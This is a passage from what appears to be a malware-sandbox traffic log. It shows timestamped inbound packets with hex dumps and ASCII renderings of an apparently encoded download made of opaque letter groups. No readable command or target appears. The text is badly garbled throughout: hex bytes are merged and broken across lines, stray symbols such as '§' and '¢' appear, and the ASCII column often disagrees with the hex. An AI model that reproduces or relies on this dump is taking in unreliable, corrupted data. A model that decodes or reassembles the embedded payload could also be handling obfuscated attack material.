MD gMJ qgp JJm gmM WO Wm Xm ggm Jmp qOgq qOD mM gEW pM gWJ XW gDX JOX qOM

2021-10-29 18:29:49 UTC 164 IN Data Raw: 45 20 71 4f 4d 20 71 71 4a 20 57 4f 20 71 58 4a 20 57 58 20 71 70 4d 20 4d 4a 20 4d 58 20 71 71 45 20 71 4d
4f 20 71 71 70 20 71 45 20 71 57 70 20 57 4f 20 57 6d 20 58 6d 20 71 71 6d 20 4a 6d 70 20 71 4f 71 20 45 44 20 57 45 20
4a 6d 4d 20 57 4f 20 4a 4a 44 20 58 57 20 58 4d 20 4a 4a 4f 20 71 4f 4d 20 71 71 4a 20 57 4f 20 6d 58 20 71 58 4f 20 44
42207144 20 71 4a 71 20 71 4f 71 20 71 4f 4d 20 71 44 6d 20 57 71 20 6d 20 71 57 57 20 57 6d 20 58 6d 20 71 71 6d
207171 4520 4a 70 57 20 71 4a 4f 20 4a 70 57 20 44 4f 20 4a 57 71 20 57 6d 20 71 4a 4d 20 71 71 57 20 45 70 20 71
4d 44 20 71 71 4a 20 57 4f 20 6d 58 20 57 4f 20 71 45 44 20 4d 4a 20 71 6d 45 20 71 4a 71 20 71 4a57 20 71 71 4a 20 4
a 707120 6d 4d 20 71 71 4d 20 71 57 4d 20 58 6d 20 71 71 6d 20
Data Ascii: E gOM gqqJ WO gXJ WX gpM MJ MX qgE gMO qgp gE gWp WO Wm Xm gqgm Jmp qOq ED WE JmM WO JID
XW XM JJO qOM ggJ WO mX gXO DJ gD gJq qOq qOM gDm Wg m gWwW Wm Xm ggm qqE JpW gJO JpW DO JWq
Wm gqJM qgqW Ep gMD ggqJ WO mX WO gED MJ gmE qJq qJW qqJ Jpg mM qgM qWM Xm qgm

2021-10-29 18:29:49 UTC 168 IN Data Raw: 6d 20 71 71 6d 20 71 71 45 20 71 4f 4d 20 4a 6d 70 20 57 4f 20 4d 58 20 6d 58 20 4a 4a 71 20 44 45 20 6d 57
207171 4d 20 4a 70 44 20 4a 71 4d 20 57 4f 20 6d 58 20 57 4f 20 57 6d 20 4a 71 4f 20 71 4f 44 20 4a 57 70 20 58 4d 20
7171 45 20 57 4f 20 58 4f 20 6d 58 20 71 57 4f 20 4a 57 57 2071 71 6d 20 71 71 4520 71 4f 4d 20 71 71 4a 20 4a 71 71
20 6d 4d 20 71 70 4d 20 4a 71 20 58 57 20 71 71 6d 20 4a 4f 20 71 71 71 20 4a 71 4a 20 71 57 70 20 6d 58 20 57 4f 20
57 6d 20 58 6d 20 71 6d 45 20 71 71 44 20 71 45 71 20 6d 58 20 6d 71 20 6d 58 20 58 70 20 57 4a 20 6d 20 4a 4a 70 20
7171 45 20 71 4f 4d 20 71 71 4a 20 57 4f 20 4a 4f 4d 20 57 4d 20 70 57 20 71 4f 45 20 4a 4f 70 20 71 4f 4d 20 71 4a 20
7171 6d 20 71 4f 44 20 71 57 45 20 57 4f 20 57 6d 20 58 6d 20
Data Ascii: m qgm qgE qOM Jmp WO MX mX JJq DE mW qgM JpD JgM WO mX WO Wm JgO qOD JWp XM qqE WO
XO mX gWO JWW qgm qgE qOM qqgJ Jgg mM gpM Jg XW gqgm JO qqqg JgJ gWp mX WO Wm Xm gmE qgD gEgq mX mq
mX Xp WJ m JJp qgE qOM ggqJ WO JOM WM pW qOE JOp qOM gJ ggm qOD gWE WO Wm Xm

2021-10-29 18:29:49 UTC 172 IN Data Raw: 71 70 20 71 71 45 20 71 71 6d 20 45 58 20 57 4f 20 6d 58 20 57 71 20 57 6d 20 57 57 20 4d 70 20 71 71 45 20
71 4f 4d 20 71 71 6d 20 57 4f 20 71 57 70 20 71 4f 20 57 6d 20 58 6d 20 71 71 70 20 71 71 4520 71 71 6d 20 45 58 20 57
4f 20 6d 58 20 57 71 20 57 6d 20 57 57 20 4d 70 20 71 71 45 20 71 4f 4d 20 71 71 6d 20 57 4f 20 71 57 70 20 71 4f 20 57
6d 2058 6d 20 71 71 70 20 71 71 45 20 71 71 6d 20 45 58 20 57 4f 20 6d 58 20 57 71 20 57 6d 20 57 57 20 4d 70 20 71
714520 71 4f4d 20 71 71 6d 20 57 4f 20 71 57 70 20 71 4f 20 57 6d 20 58 6d 20 71 71 70 20 71 71 45 20 71 71 6d 20 45
58 20 57 4f 20 6d 58 20 57 71 20 57 6d 20 57 57 20 4d 70 20 71 71 45 20 71 4f 4d 20 71 71 6d 20 57 4f 20 71 57 70 20 71
4f 20 57 6d 20 58 6d 20 71 71 70 20 71 71 45 20 71 71 6d 20
Data Ascii: gp qqE qgm EX WO mX Wg Wm WW Mp ggE qOM gqgm WO gWp qO Wm Xm qgp qqE qgm EX WO mX Wq
Wm WW Mp gqgE gOM gqgm WO gWp gO Wm Xm qgp qgqE ggm EX WO mX Wg Wm WW Mp qgE qOM ggm WO gqWp qO
Wm Xm qgp gqgE qgm EX WO mX Wgq Wm WW Mp qgE qOM ggm WO gqWp qO Wm Xm qgp qqE ggm

2021-10-29 18:29:49 UTC 176 IN Data Raw: 57 4f 20 4a 6d 45 20 4a 57 20 57 6d 20 58 6d 20 71 71 58 20 71 71 45 20 45 58 20 45 71 20 57 4f 20 6d 58 20
57 71 20 57 6d 20 4a 6d 4d 20 4d 71 20 71 71 45 20 71 4f 4d 20 71 71 70 20 57 4f 20 71 57 45 20 4a 45 20 57 6d 20 58
6d 2071 71 57 20 71 71 45 20 71 4d 4a 20 58 4d 20 57 4f 20 6d 58 20 57 71 20 57 6d 20 4a 45 20 58 57 20 71 71 45 20
71 4f4d 20 71 71 70 20 57 4f 20 71 4a 45 20 4a 71 20 57 6d 20 58 6d 20 71 71 57 20 71 71 45 20 70 6d 20 58 45 20 57 4f
20 6d 58 20 57 71 20 57 6d 20 4a 45 2058 57 20 71 71 45 20 71 4f 4d 20 71 71 70 20 57 4f 20 71 4a 45 20 4a 71 20 57 6
d 2058 6d 20 71 71 57 20 71 71 45 20 57 4d 20 58 4d 20 57 4f 20 6d 58 20 6d 58 20 57 6d 20 4a 71 4520 4d 71 20 71 71
4520 71 4f 4d 20 71 71 70 20 57 4f 20 71 4a 45 20 4a 71 20 57 6d
Data Ascii: WO JmE JW Wm Xm gqgX qqE EX Eq WO mX Wg Wm JmM Mq qqE gOM qgp WO gWE JE Wm Xm qqW qqE
gMJ XM WO mX Wgq Wm JE XW qgE qOM gqgp WO qJE Jg Wm Xm gqqW qgE pm XE WO mX Wg Wm JE XW qqE qOM
qqp WO qJE Jg Wm Xm ggqW qgE WM XM WO mX mX Wm JgE Mq qqE qOM qgp WO gJE Jg Wm

2021-10-29 18:29:49 UTC 180 IN Data Raw: 6d 58 20 57 44 20 57 6d 20 71 57 57 20 58 58 20 71 71 45 20 71 4f 4d 20 71 4a 70 20 57 4f 20 71 71 57 20 71
572057 4a 20 58 6d 20 71 71 57 20 71 71 45 20 4d 70 20 57 4f 20 57 4f 20 6d 58 20 6d 58 20 57 6d 20 45 57 20 45 44
2071714520 71 4f4d 20 71 71 70 20 57 4f 20 71 71 57 20 71 57 20 57 6d 20 58 6d 20 71 71 4a 20 71 71 45 20 71 4a
7020 71 71 4f 20 57 4f 20 6d 58 20 57 71 20 57 6d 20 71 4f 71 20 6d 58 20 71 71 45 20 71 4f 4d 20 71 71 70 20 57 4f 20
712071 71 4a2057 6d 20 58 6d 20 71 71 4a 20 71 71 45 20 71 44 4a 20 4d 4f 20 57 4f 20 6d 58 20 6d 4d 20 57 6d 20 4
a7020454d 2071 71 45 20 71 4f 4d 20 71 71 70 20 57 4f 20 6d 45 20 71 4a 20 57 6d 20 58 6d 20 71 71 57 20 71 71 45
20 6d 44 20 45 45 20 57 4f 20 6d 58 20 6d 58 20 57 6d 20 44 44 20
Data Ascii: mX WD Wm gWW XX qgE qOM gJp WO qqW gW WJ Xm qqW ggqE Mp WO WO mX mX Wm EW ED qqE
qOM ggp WO qgqW qW Wm Xm qgJ qqE gJp qqO WO mX Wq Wm qOg mX qqE gOM qgp WO g qqJ Wm Xm qgJ qqE
gqDJ MO WO mX mM Wm Jp EM qgE qOM gqgp WO mE gJ Wm Xm qgqW gqE mD EE WO mX mX Wm DD
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2021-10-29 18:29:49 UTC 184 IN Data Raw: 20 71 71 4f 20 6d 71 20 70 71 20 4a 70 4f 20 57 6d 20 71 4d 4d 20 58 45 20 6d 20 71 4f 44 20 71 45 45 20 71
7144 20 4a 70 4f 20 6d 58 20 71 44 70 20 4a 4d 20 71 71 57 20 71 71 6d 20 71 71 44 20 71 4f 58 20 4a 6d 58 20 44 20
4271712057 6d 20 70 4d 20 58 57 20 4a 4d 20 44 58 20 71 70 57 20 71 71 44 20 57 71 20 57 4a 20 44 44 20 4d 20 71
44 4520 71 71 58 20 71 71 44 20 71 4f 57 20 71 71 57 20 4d 20 4a 4f 71 20 57 6d 20 44 70 20 58 4f 20 70 70 20 71 71 4f
2071 6d 44 20 71 71 44 20 4a 70 58 20 6d 58 20 71 58 44 20 4a 20 58 57 20 71 71 6d 20 71 4f 4f 20 71 4f 57 20 71 70 58
20 4a 71 20 6d 4f 20 57 57 20 4a 70 20 58 4f 20 71 4d 70 20 58 44 20 71 4f 58 20 71 71 4a 20 71 4d 20 57 4a 20 70 45 20
717158205857 207171 6d 207171442071 4f58 20 71 58
Data Ascii: qgO mq pgq JpO Wm gMM XE m gOD gEE qgD JpO mX gDp JM qgW ggm ggqD qOX JmX D Jgg Wm pM XW
JM DX gpW ggqb Wq WJ DD M gDE gqgX gqqD qOW gqgW M JOg Wm Dp XO pp qqO gmD ggD JpX mX gXD J XW gqgm
qOO0 qOW gpX Jg mO WW Jp XO gMp XD gOX qgqJ gM WJ pE ggX XW ggm qgD qOX gX

2021-10-29 18:29:49 UTC 188 IN Data Raw: 20 57 70 20 71 58 44 20 4a 20 58 57 20 71 71 6d 20 70 44 20 71 4f 6d 20 4a 6d 45 20 4a 71 20 44 58 20 44 70
2071 4f 70 20 58 71 20 71 45 44 20 58 4a 20 4a 57 20 71 4a 57 20 71 4f 45 20 57 70 20 70 4d 20 71 6d 20 6d 57 20 71
42452044 42071 7171 20 71 58 20 71 71 6d 20 71 45 44 20 44 70 20 71 4a 45 20 58 44 20 4a 6d 6d 20 57 70 20 4a
704520 71 4a57 20 71 4a 70 20 57 4f 20 44 57 20 71 71 58 20 4a 71 4a 20 71 4a 4520 44 4§20 71 71 71 20 70 6d 20 7
171 6d 2071 45 44 20 44 70 20 71 4f 70 20 58 71 20 4a 71 44 20 71 4f 44 20 4a 70 6d 20 71 4a 57 20 4d 71 20 57 70 20
7158 44 20 4220 58 57 20 71 71 6d 20 4a 58 20 71 4f 6d 20 45 4a 20 4a 6d 20 57 70 20 57 4f 20 4d 57 20 58 71 20 71 4f
6d 20 4d 57 20 71 4f 6d 20 71 71 4a 20 4d 71 20 57 70 20 4a 44 20
Data Ascii: Wp gXD J XW gqgm pD qOm JmE Jg DX Dp qOp Xq qED XJ JW qJW gOE Wp pM gm mW gJE DO qqq gX
qgm gqED Dp qJE XD Jmm Wp JpE qJW qJp WO DW qgX JgJ qJE DO qgq pm qgm gED Dp gqOp Xq JgD qOD Jpm gqJW
Mq Wp gXD J XW ggm JX qOm EJ Jm Wp WO MW Xq gOm MW gqOm qqJ Mg Wp JD

2021-10-29 18:29:49 UTC 191 IN Data Raw: 4f 20 71 4d 70 20 71 71 45 20 70 57 20 71 4f 44 20 71 57 57 20 57 4a 20 71 4a 4d 20 57 6d 20 71 4f 20 71 4f
6d 20 71 58 58 20 71 4f 57 20 71 4d 57 20 57 4f 20 71 6d 20 6d 4f 20 4a 4a 70 20 58 4f 20 71 4d 70 20 71 71 45 20 70 57
20 71 4f 44 20 6d 4d 20 57 70 20 71 6d 57 20 57 6d 20 45 44 20 71 71 4f 20 71 4a 6d 20 71 4f 6d 20 71 4d 57 20 57 4f 20
7171 4f 20 6d 4f 20 70 71 20 58 71 20 71 4d 70 20 71 71 45 20 70 20 71 4f 44 20 71 71 57 20 57 70 20 71 71 70 20 57 6d
2071 44 4a 20 71 4a 57 20 57 6d 20 71 4f 6d 20 4a 71 71 20 57 4f 20 71 71 4a 20 6d 44 20 71 4a 45 20 58 71 20 71 4d
702071 71 45 20 71 4d 20 71 4f 44 20 58 70 20 57 70 20 71 71 70 20 57 6d 20 71 44 4a 20 71 4a 57 20 4a 58 20 71 4f
6d 20 71 4d 57 20 57 4f 20 71 4d 4f 20 6d 4f 20 71 58 70 20 58
Data Ascii: O gMp gqE pW qOD gWW WJ gJM Wm gqO qOm gXX gOW gMW WO gm mO JJp XO gMp qqE pW qOD mM
Wp gmW Wm ED qqO gqJm qOm gMW WO gqO mO pg Xq qMp qqE p qOD qqW Wp gqgp Wm gDJ qJW Wm qOm Jqq
WO qgqJ mD gJE Xq gMp qqE gM qOD Xp Wp gqgp Wm gDJ gJW JX gOm gMW WO gMO mO gXp X

2021-10-29 18:29:49 UTC 196 IN Data Raw: 57 57 20 71 4a 45 20 57 4f 20 6d 71 20 57 45 20 57 6d 20 71 44 4a 20 71 4a 57 20 58 57 20 71 71 44 20 71 4a
7020 57 4f 20 71 4d 58 20 44 71 20 71 71 58 20 45 45 20 71 4a 71 20 71 71 45 20 71 57 57 20 71 4a 45 20 58 4a 20 6d
712057 4520 57 6d 20 71 44 4a 20 71 4a 57 20 4a 6d 57 20 71 71 44 20 71 4a 70 20 57 4f 20 71 4d 58 20 44 71 20 4a
6d 44 20 45 45 20 71 4a 71 20 71 71 45 20 71 57 57 20 71 4a 45 20 4a 71 4f 20 6d 71 20 57 45 20 57 6d 20 71 44 4a 20 7
14a57 2071 6d 4d 20 71 71 70 20 57 71 20 57 4f 20 71 4d 58 20 44 71 20 71 57 4f 20 45 70 20 6d 4d 20 71 71 45 20 71
57 57 20 71 4a 45 20 4a 6d 4a 20 6d 57 20 71 71 70 20 57 6d 20 71 44 4a 20 71 4a 57 20 71 6d 4d 20 71 71 4a 20 57 71
20 57 4f 20 71 4d 58 20 44 71 20 57 6d 20 45 6d 20 6d 4d 20 71 71 45
Data Ascii: WW qJE WO mq WE Wm gDJ gJW XW qgD gqJp WO qMX Dq qgX EE gJq qqE gWW qJE XJ mg WE Wm gDJ
qJW JmW qqD gqJp WO gMX Dg JmD EE gqJq qqE gWW qJE JgO mq WE Wm ¢gDJ qJW gmM qgp Wg WO gMX Dg gWO
Ep mM qgE qWW qJE JmJ mW gqgp Wm gDJ qJW gmM ggqJ Wq WO gMX Dg Wm Em mM qqE

2021-10-29 18:29:49 UTC 200 IN Data Raw: 20 4d 4f 20 57 71 20 57 4f 20 71 4d 58 20 44 71 20 57 6d 20 71 4f 58 20 6d 4d 20 71 71 45 20 71 57 57 20 71
4245 207158205820 71 71 70 20 57 6d 20 71 44 4a 20 71 4a 57 20 57 70 20 58 57 20 57 71 20 57 4f 20 71 4d 58 20
4471 20 58 44 20 71 4f 58 20 6d 4d 20 71 71 45 20 71 57 57 20 71 4a 45 20 71 45 58 20 58 20 71 71 70 20 57 6d 20 71
44 4a 20 71 4a 57 20 4a 71 70 20 58 57 20 57 71 20 57 4f 20 71 4d 58 20 44 71 20 4a 6d 44 20 71 4f 58 20 6d 4d 20 71 7
14520715757 20 71 4a 45 20 4a 71 4f 20 58 20 71 71 70 20 57 6d 20 71 44 4a 20 71 4a 57 20 71 71 45 20 58 6d 20 57
71 20 57 4f 20 71 4d 58 20 44 71 20 4a 4a 20 71 4f 4d 20 6d 4d 20 71 71 45 20 71 57 57 20 71 4a 45 20 71 71 6d 20 4d
20717170 2057 6d 20 71 44 4a 20 71 4a 57 20 4a 71 20 58 6d 20 57
Data Ascii: MO Wg WO gMX Dg Wm qOX mM qqE qWW gJE gX X qgp Wm gDJ qJW Wp XW Wq WO gMX Dg XD qOX
mM qgE gWW gJE gEX X ggp Wm gDJ qJW Jgp XW Wq WO gMX Dg JmD qOX mM qgE gWW qJE JqO X qgp Wm gDJ
qJW qgE Xm Wg WO gMX Dqg JJ gOM mM gqqE gWW gqJE qgm M gqgp Wm qDJ qJW Jg Xm W

2021-10-29 18:29:49 UTC 204 IN Data Raw: 71 4f 71 20 58 4f 20 58 71 20 71 4f 58 20 71 4f 4d 20 71 71 4a 20 4a 70 44 20 57 6d 20 71 45 20 6d 45 20 58
6d 20 71 71 6d 20 71 58 4f 20 71 4f 71 20 58 70 20 6d 70 20 6d 58 20 57 4f 20 71 4a 44 20 4d 57 20 58 71 20 71 4f 58 20
71 4f4d 20 71 71 4a 20 4a 71 57 20 44 4f 20 71 45 20 6d 45 20 58 6d 20 71 71 6d 20 57 4f 20 4d 4d 20 58 70 20 6d 70 20
6d 58 20 57 4f 20 71 71 70 20 4d 71 20 4a 4a 71 20 71 4f 58 20 71 4f 4d 20 71 71 4a 20 71 4f 45 20 70 70 20 71 45 20 6d
452058 6d 20 71 71 6d 20 71 44 4f 20 71 4a 6d 20 58 70 20 6d 70 20 6d 58 20 57 4f 20 4a 4d 20 58 6d 20 58 71 20 71 4f
5820 71 4f 4d 20 71 71 4a 20 4a 71 20 57 71 20 71 45 20 6d 45 20 58 6d 20 71 71 6d 20 71 44 4f 20 71 4f 57 20 4a 71 4a
20 6d 70 20 6d 58 20 57 4f 20 71 57 20 58 70 20 58 71 20
Data Ascii: qOg XO Xq qOX qOM qgJ JpD Wm gE mE Xm ggm gXO qOqg Xp mp mX WO gqJD MW Xg qOX qOM qaJ JgW
DO gE mE Xm ggm WO MM Xp mp mX WO qqgp Mg JJg qOX qOM qqgJ qOE pp E mE Xm ggm gDO gJm Xp mp mX WO
JM Xm Xqg qOX qOM qqJ Jg Wq gE mE Xm gqgm gDO qOW JgJ mp mX WO gW Xp Xq

2021-10-29 18:29:49 UTC 208 IN Data Raw: 4a 57 6d 20 6d 4d 20 4a 6d 70 20 57 6d 20 58 57 20 71 71 6d 20 71 58 6d 20 71 4f 58 20 71 45 45 20 57 4f 20
57 4f 20 57 4f 20 4a 6d 58 20 58 57 20 71 45 45 20 71 71 45 20 71 4f 58 20 71 71 4a 20 4a 57 70 20 6d 4d 20 4a 6d 71 20
57 6d 20 58 44 20 71 71 6d 20 71 44 6d 20 71 4f 58 20 71 58 71 20 57 4f 20 6d 4d 20 57 4f 20 4a 4a 58 20 58 57 20 71 58
70207171452071 7171207171 4a20 44 71 20 57 4f 20 4a 6d 57 20 57 6d 20 58 44 20 71 71 6d 20 71 4f 4f 20 71 71
7120 71 58 57 20 57 4f 20 57 6d 20 57 4f 20 70 4f 20 58 6d 20 4d 45 20 71 71 45 20 57 4d 20 71 71 4a 20 6d 4f 20 57 4a
2070 45 20 57 6d 20 4a 20 71 71 6d 20 71 4f 57 20 71 4f 57 20 71 4f 57 20 57 4f 20 71 4f 4a 20 57 4f 20 6d 4f 20 58 4f 20
71 4f57 20 71 71 45 20 57 4d 20 71 71 4a 20 71 58 20
Data Ascii: JWm mM Jmp Wm XW ggm gXm qOX gEE WO WO WO JmX XW qEE qgqE qOX qqJ JWp mM Jmg Wm XD
ggm gDm gOX gXg WO mM WO JJIX XW gXp qqE qqq gqJ Dg WO JmW Wm XD ggm gqOO qqgq gXW WO Wm WO pO
Xm ME qqE WM ggqJ mO WJ pE Wm J ggm gOW gOW gOW WO gOJ WO mO XO gqOW qqE WM qgJ gX

2021-10-29 18:29:49 UTC 212 IN Data Raw: 20 71 71 4a 20 58 4a 20 6d 58 20 71 71 4d 20 57 6d 20 57 70 20 71 71 6d 20 6d 58 20 71 4f 4d 20 71 58 20 57
4f 20 71 71 45 20 57 4f 20 58 57 20 58 6d 20 57 57 20 71 71 45 20 4d 20 71 71 4a 20 71 71 4d 20 6d 58 20 58 45 20 57
6d 20 71 45 20 71 71 6d 20 71 4d 20 71 4f 4d 20 57 70 20 57 4f 20 58 45 20 57 4f 20 71 71 57 20 58 6d 20 4244 20 71 71
4520 6d 4f 20 71 71 4220 4d 71 20 6d 58 20 71 71 4d 20 57 6d 20 44 4a 20 71 71 6d 20 6d 58 20 71 4f 4d 20 4a 45 20
57 4f 20 71 71 45 20 57 4f 20 4d 4f 20 58 6d 20 57 57 20 71 71 45 20 4f 20 71 71 4a 20 71 71 4d 20 6d 58 20 4d 4a 20 57
6d 20 71 4520 71 71 6d 20 4a 44 20 71 4f 4d 20 57 70 20 57 4f 20 44 6d 20 57 4f 20 71 71 57 20 58 6d 20 70 20 71 71 45
20 6d 4f 20 71 71 4a 20 44 6d 20 6d 58 20 71 71 4d 20 57 6d 20
Data Ascii: qgJ XJ mX ggM Wm Wp ggm mX qOM gX WO ggE WO XW Xm WW gqgE M qqJ gqgM mX XE Wm gE qgm
gM qOM Wp WO XE WO gqW Xm JD qgE mO qgqJ Mg mX ggM Wm DJ ggm mX qgOM JE WO gqgE WO MO Xm WW qqE
0O qgJ ggM mX MJ Wm gE gqgm JD gOM Wp WO Dm WO gqW Xm p qqE mO gqgJ Dm mX qgM Wm
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2021-10-29 18:29:49 UTC 223 IN Data Raw: 20 4d 45 20 44 58 20 58 70 20 44 44 20 44 71 20 71 45 20 57 4a 20 70 71 20 4a 20 58 70 20 45 70 20 71 4a
70 2058 58 20 44 71 20 44 20 70 70 20 4a 4f 20 4f 20 58 45 20 4d 4d 20 4d 71 20 45 44 20 6d 4d 20 45 4d 20 44 58 20
4d 71 20 71 71 4a 20 58 57 20 58 57 20 45 4f 20 71 4f 57 20 4a 4d 20 4a 4a 20 44 58 20 4d 71 20 71 71 4a 20 44 57 20 5
857 20 45 4f 20 71 4f 57 20 4a 4d 20 4a 4a 20 44 58 20 4d 71 20 71 71 4a 20 71 71 4d 20 4d 6d 20 45 4f 20 4d 57 20 70
4a207171204458204d 71207171 4a2044 20 7120 4a 20 71 71 6d 20 4d 45 20 45 71 20 44 58 20 6d 45 20 57 6d
2071712071714420 717170204520 715820 44 44 20 57 6d 20 6d 70 20 44 44 20 6d 20 4a 20 71 71 4d 20 4a 20
71 44 20 6d 58 20 44 58 20 4d 70 20 45 71 20 57 20 45 20 71 71 20 70 20
Data Ascii: ME DX Xp DD Dq qE WJ pg J Xp Ep gJp XX Dq D pp JO O XE MM Mg ED mM EM DX Mg ggqJ XW XW EO
qOW JM JJ DX Mq gqJ DW XW EO qOW JM JJ DX Mqg qqJ ggM Mm EO MW pJ qgq DX Mg qgJ D q J gqgm ME Eq DX mE
Wm qg qgD qgp E gX DD Wm mp DD m J ggM J gD mX DX Mp Eq W E qq p

2021-10-29 18:29:49 UTC 228 IN Data Raw: 4d 20 6d 58 20 6d 6d 20 57 6d 20 6d 20 71 20 70 20 44 20 4a 71 20 44 44 20 44 58 20 58 6d 20 44 44 20 4f 20
7171 6d 20 57 4f 20 71 71 6d 20 71 58 20 44 6d 20 57 57 20 6d 71 20 57 71 20 71 20 4d 20 57 20 70 20 71 44 20 6d 4d
204571 2058582057 4f 20 71 71 4420 71 71 70 20 71 71 44 20 71 71 4a 20 4a 71 20 45 4f 20 45 44 20 4d 4f 20 45 4f
207171 4d 20 4d 2071 7170 20 71 71 6d 20 71 4f 71 20 57 57 20 45 4f 20 58 57 20 6d 4d 20 71 71 57 20 71 71 44 20
7171 44 20 4a 20 4d 58 20 44 57 20 57 57 20 71 4f 4d 20 45 70 20 71 71 58 20 4d 20 71 71 57 20 71 71 4a 20 71 4f 70 2
057 71 20 6d 58 20 4d 4a 20 44 57 20 71 71 57 20 57 20 71 4f 20 71 71 6d 20 4d 45 20 45 71 20 6d 58 20 6d 45 20 45 4a
20717157 204420 71 71 57 20 71 71 57 20 4a 70 20 45 6d 20 57
Data Ascii: M mX mm Wm m g p D Jg DD DX Xm DD O ggm WO ggm gX Dm WW mq Wq g M W p gD mM Eq XX WO
qgD qgp qgD qqJ Jg EO ED MO EO ggM M qgp gqm qOg WW EO XW mM qqW qgD qgD J MX DW WW gqOM Ep qgX M
qgW gqJ gOp Wg mX MJ DW gqgqW W gO qgm ME Eq mX mE EJ qqW D qqW qgqW Jp Em W

2021-10-29 18:29:49 UTC 244 IN Data Raw: 20 58 45 20 57 4f 20 71 71 45 20 57 4d 20 4a 58 20 70 20 58 20 4a 20 45 4f 20 71 4f 4f 20 4d 70 20 4d 4d 20
4a 6d 20 4a 4d 20 4a 45 20 71 4f 20 71 71 4a 20 4d 6d 20 4d 57 20 58 57 20 57 6d 20 70 4d 20 71 45 20 4a 4f 20 70 20
70 4f 20 58 45 20 44 44 20 71 71 57 20 44 58 20 57 71 20 71 71 6d 20 70 58 20 58 20 71 45 20 44 6d 20 58 70 20 4d 4f
2057 6d 20 4a 57 20 71 4d 20 71 20 71 6d 20 4a 6d 20 57 4f 20 71 71 4d 20 58 45 20 44 44 20 4a 57 20 4a 4a 20 44 6d 2
07045 20 71 45 20 44 57 20 58 58 20 57 4f 20 71 71 45 20 57 4d 20 70 71 20 57 20 4a 6d 20 6d 20 58 45 20 71 4a 4f 20
58 70 20 44 4d 20 44 4f 20 71 71 6d 20 57 44 20 71 4a 20 6d 20 4d 4f 20 6d 58 20 44 44 20 44 58 20 57 4d 20 4a 4f 20 4a
58 20 71 20 4a 71 20 4d 58 20 58 71 20 45 4f 20 4d 6d 20 58 6d 20
Data Ascii: XE WO qgqE WM JX p X J EO qOO Mp MM Jm JM JE gO ggqJ Mm MW XW Wm pM gE JO p pO XE DD qqW
DX Wq ggm pX X gE Dm Xp MO Wm JW gM g gm Jm WO qqM XE DD JW JJ Dm pE gE DW XX WO qgE WM pg W Jm
m XE qJO Xp DM DO gqgm WD qJ m MO mX DD DX WM JO JX g Jg MX Xq EO Mm Xm

2021-10-29 18:29:49 UTC 255 IN Data Raw: 4a 20 4a 4d 20 4a 4f 20 4d 6d 20 71 4f 44 20 57 20 4a 20 71 57 20 4a 70 20 4a 70 20 45 20 4a 57 20 4a 57 20
58 6d 20 58 4d 20 58 71 20 58 45 20 70 4a 20 4a 70 20 44 20 71 4f 4d 20 70 6d 20 58 45 20 4d 4a 20 58 45 20 58 45 20
70 4d 20 4a 70 20 70 4a 20 4a 4d 20 4a 4f 20 58 70 20 44 58 20 58 45 20 44 4d 20 58 6d 20 70 70 20 71 20 70 71 20 4a
57 20 44 44 20 4d 45 20 45 71 20 58 4d 20 70 4a 20 4a 70 20 44 20 71 4f 4d 20 57 6d 20 44 6d 20 4d 57 20 4d 57 20 71 4
a 70 20 44 71 20 4a 58 20 4f 20 4a 57 20 4a 71 20 44 57 20 6d 58 20 71 4f 4d 20 58 4f 20 44 71 20 70 4f 20 71 44 20 6d 4
520 4d 20 45 4f 20 58 57 20 44 57 20 57 6d 20 70 20 4f 20 4a 58 20 4a 57 20 4a 71 20 71 71 57 20 4d 4a 20 4d 6d 20 71
7144 20 6d 57 20 44 20 71 44 20 70 4f 20 71 71 4a 20 71 71 70 20
Data Ascii: J JM JO Mm qOD W J qW Jp Jp E JW JW Xm XM Xqg XE pJ Jp D qOM pm XE MJ XE XE pM Jp pJ IM JO Xp
DX XE DM Xm pp g pq JW DD ME Eq XM pJ Jp D gOM Wm Dm MW MW qgJp Dg JX O JW Jg DW mX qOM XO Dq pO gD
mE M EO XW DW Wm p O JX JW Jg qqW MJ Mm qgD mW D gD pO qqJ qgp

2021-10-29 18:29:49 UTC 271 IN Data Raw: 44 58 20 71 4f 4d 20 71 71 4a 20 6d 4d 20 45 44 20 57 4f 20 57 6d 20 4d 71 20 70 4d 20 71 71 45 20 70 57 20
7171 4a20 71 4a 7120 6d 58 20 71 4a 6d 20 57 6d 20 70 20 71 71 6d 20 57 58 20 71 4f 4d 20 44 4a 20 57 4f 20 6d 58
20717157 20 71 71 45 20 58 6d 20 4a 45 20 71 71 45 20 6d 4f 20 71 71 4a 20 4f 20 6d 58 20 71 71 4a 20 57 6d 20 6d
57 20 71 71 6d 20 4a 44 20 71 4f 4d 20 70 4f 20 57 4f 20 71 4f 4a 20 57 4f 20 71 4f 4f 20 58 6d 20 70 4d 20 71 71 45 20 70
4d 20 71 71 4a 20 71 4a 4f 20 6d 58 20 4d 6d 20 57 6d 20 57 57 20 71 71 6d 20 44 4a 20 71 4f 4d 20 57 4d 20 57 4f 20 45
6d 20 57 4f 20 71 71 4d 20 58 6d 20 57 45 20 71 71 45 20 57 58 20 71 71 4a 20 58 57 20 6d 58 20 58 4d 20 57 6d 20 6d
6d 20 71 71 6d 20 44 4f 20 71 4f 4d 20 4a 45 20 57 4f 20 71 4f
Data Ascii: DX gOM qgqJ mM ED WO Wm Mg pM qqE pW qgJ gJg mX gJm Wm p ggm WX qOM DJ WO mX qqW qqE
Xm JE qgE mO gqJ O mX qqJ Wm mW ggm JD qOM pO WO gOJ WO qOO Xm pM qqE pM qgJ gJO mX Mm Wm WW ¢
gm DJ gOM WM WO Em WO ggM Xm WE qgE WX ggJ XW mX XM Wm mm ggm DO qOM JE WO qO

2021-10-29 18:29:49 UTC 287 IN Data Raw: 4f 71 20 71 4f 58 20 71 71 70 20 70 4d 20 70 6d 20 70 71 20 57 57 20 45 6d 20 71 71 6d 20 4d 44 20 71 4a 45
20 4a 6d 4f 20 71 57 71 20 6d 4d 20 6d 6d 20 57 6d 20 4d 70 20 71 71 45 20 71 71 44 20 71 4a 4f 20 4d 58 20 70 71 20
6d 4d 20 70 4a 20 71 58 70 20 58 6d 20 71 4a 70 20 71 71 6d 20 71 4f 58 20 71 4f 71 20 70 4a 20 4a 4d 20 57 71 20 70
4420 4a 714220715844 2071 4a 4420 71 4f44 20 71 71 6d 20 70 4a 20 71 4f 4f 20 70 4d 20 7044 20 71 4a 71 20 71
7157 20 71 4f 70 20 4a 70 44 20 71 71 4a 20 57 57 20 57 58 20 57 71 20 70 44 20 4a 7170 20 71 71 6d 20 71 71 4a 20 7
14f442071 71702070 4a 20 71 45 4520 71 4a 44 20 71 4d 20 58 70 20 71 4a 4a 20 4d 44 20 71 4a 45 20 4d 70 20 57
